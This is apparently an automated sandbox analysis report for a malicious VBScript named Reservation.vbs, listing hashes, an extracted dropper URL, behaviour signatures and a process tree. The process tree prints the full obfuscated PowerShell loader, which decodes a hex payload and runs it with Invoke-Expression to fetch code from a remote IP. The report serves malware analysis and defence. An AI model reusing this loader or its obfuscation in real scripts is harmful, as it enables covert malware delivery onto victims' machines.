Reservation.vbs

General
Target

Reservation.vbs

Filesize

7KB

Completed

19-09-2021 14:43

Score
10 /10
MD5

ec9f108d335607135782af17ab903592

SHA1

8587a5bb04991cf200922d0a9dbd8e12a8f5691f

SHA256

20031bbf53fc23ccbcc482f37c73975ffe6187151e49939f924b468ab566c73c

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

http://13.112.210.240/njbypass.txt

Signatures 4

Filter: none

Discovery
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    332powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege332powershell.exe
  • Suspicious use of WriteProcessMemory
    WScript.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1084 wrote to memory of 3321084WScript.exepowershell.exe
    PID 1084 wrote to memory of 3321084WScript.exepowershell.exe
    PID 1084 wrote to memory of 3321084WScript.exepowershell.exe
Processes 2
  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reservation.vbs"
    Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://13WSEDRFGTYHUJIK112WSEDRFGTYHUJIK210WSEDRFGTYHUJIK240/njbypassWSEDRFGTYHUJIKtxt'.Replace('WSEDRFGTYHUJIK','.');$SOS='%!SXDCFVGBHNJ!5SXDCFVGBHNJ!!SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ!dSXDCFVGBHNJ!bSXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ*eSXDCFVGBHNJ!5SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ!5SXDCFVGBHNJ*%SXDCFVGBHNJ!3SXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ5!SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ7!SXDCFVGBHNJ%eSXDCFVGBHNJ57SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ*cSXDCFVGBHNJ!9SXDCFVGBHNJ!5SXDCFVGBHNJ!eSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ!bSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ!!SXDCFVGBHNJ!fSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ*1SXDCFVGBHNJ!!SXDCFVGBHNJ53SXDCFVGBHNJ5!SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ!7SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%aSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ57SXDCFVGBHNJ*eSXDCFVGBHNJ!cSXDCFVGBHNJ*fSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ7%SXDCFVGBHNJ!9SXDCFVGBHNJ*eSXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ57SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!3SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ59SXDCFVGBHNJ!8SXDCFVGBHNJ55SXDCFVGBHNJ!aSXDCFVGBHNJ!9SXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ3dSXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ*0SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%8SXDCFVGBHNJ*eSXDCFVGBHNJ*0SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ*0SXDCFVGBHNJ*3SXDCFVGBHNJ*0SXDCFVGBHNJ5!SXDCFVGBHNJ%0SXDCFVGBHNJ%!SXDCFVGBHNJ!5SXDCFVGBHNJ!!SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ!dSXDCFVGBHNJ!bSXDCFVGBHNJ!!SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ%9SXDCFVGBHNJ%7SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%dSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ*5SXDCFVGBHNJ*0SXDCFVGBHNJ57SXDCFVGBHNJ*0SXDCFVGBHNJ%dSXDCFVGBHNJ!fSXDCFVGBHNJ*%SXDCFVGBHNJ*aSXDCFVGBHNJ*0SXDCFVGBHNJ!5SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ5%SXDCFVGBHNJ*5SXDCFVGBHNJ70SXDCFVGBHNJ*cSXDCFVGBHNJ*1SXDCFVGBHNJ*3SXDCFVGBHNJ*5SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3cSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ3eSXDCFVGBHNJ%7SXDCFVGBHNJ%cSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%9SXDCFVGBHNJ%eSXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!eSXDCFVGBHNJ!aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!%SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ!bSXDCFVGBHNJ%8SXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ5aSXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!3SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3bSXDCFVGBHNJ0aSXDCFVGBHNJ%*SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ%8SXDCFVGBHNJ%!SXDCFVGBHNJ53SXDCFVGBHNJ57SXDCFVGBHNJ58SXDCFVGBHNJ!!SXDCFVGBHNJ!5SXDCFVGBHNJ!3SXDCFVGBHNJ5%SXDCFVGBHNJ!*SXDCFVGBHNJ!7SXDCFVGBHNJ59SXDCFVGBHNJ!8SXDCFVGBHNJ55SXDCFVGBHNJ!aSXDCFVGBHNJ!9SXDCFVGBHNJ53SXDCFVGBHNJ!!SXDCFVGBHNJ!*SXDCFVGBHNJ5*SXDCFVGBHNJ!7SXDCFVGBHNJ!8SXDCFVGBHNJ!aSXDCFVGBHNJ%0SXDCFVGBHNJ%dSXDCFVGBHNJ!aSXDCFVGBHNJ*fSXDCFVGBHNJ*9SXDCFVGBHNJ*eSXDCFVGBHNJ%0SXDCFVGBHNJ%7SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ7cSXDCFVGBHNJ%*SXDCFVGBHNJ%8SXDCFVGBHNJ%7SXDCFVGBHNJ!9SXDCFVGBHNJ%7SXDCFVGBHNJ%bSXDCFVGBHNJ%7SXDCFVGBHNJ!5SXDCFVGBHNJ58SXDCFVGBHNJ%7SXDCFVGBHNJ%9SXDCFVGBHNJ3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split 'SXDCFVGBHNJ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:332
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Persistence
                      Privilege Escalation
                        Replay Monitor
                        00:00 00:00
                        Downloads
                        • memory/332-60-0x000000000259B000-0x00000000025BA000-memory.dmp

                        • memory/332-54-0x0000000000000000-mapping.dmp

                        • memory/332-56-0x000007FEF2B00000-0x000007FEF365D000-memory.dmp

                        • memory/332-58-0x0000000002592000-0x0000000002594000-memory.dmp

                        • memory/332-57-0x0000000002590000-0x0000000002592000-memory.dmp

                        • memory/332-59-0x0000000002594000-0x0000000002597000-memory.dmp

                        • memory/1084-53-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp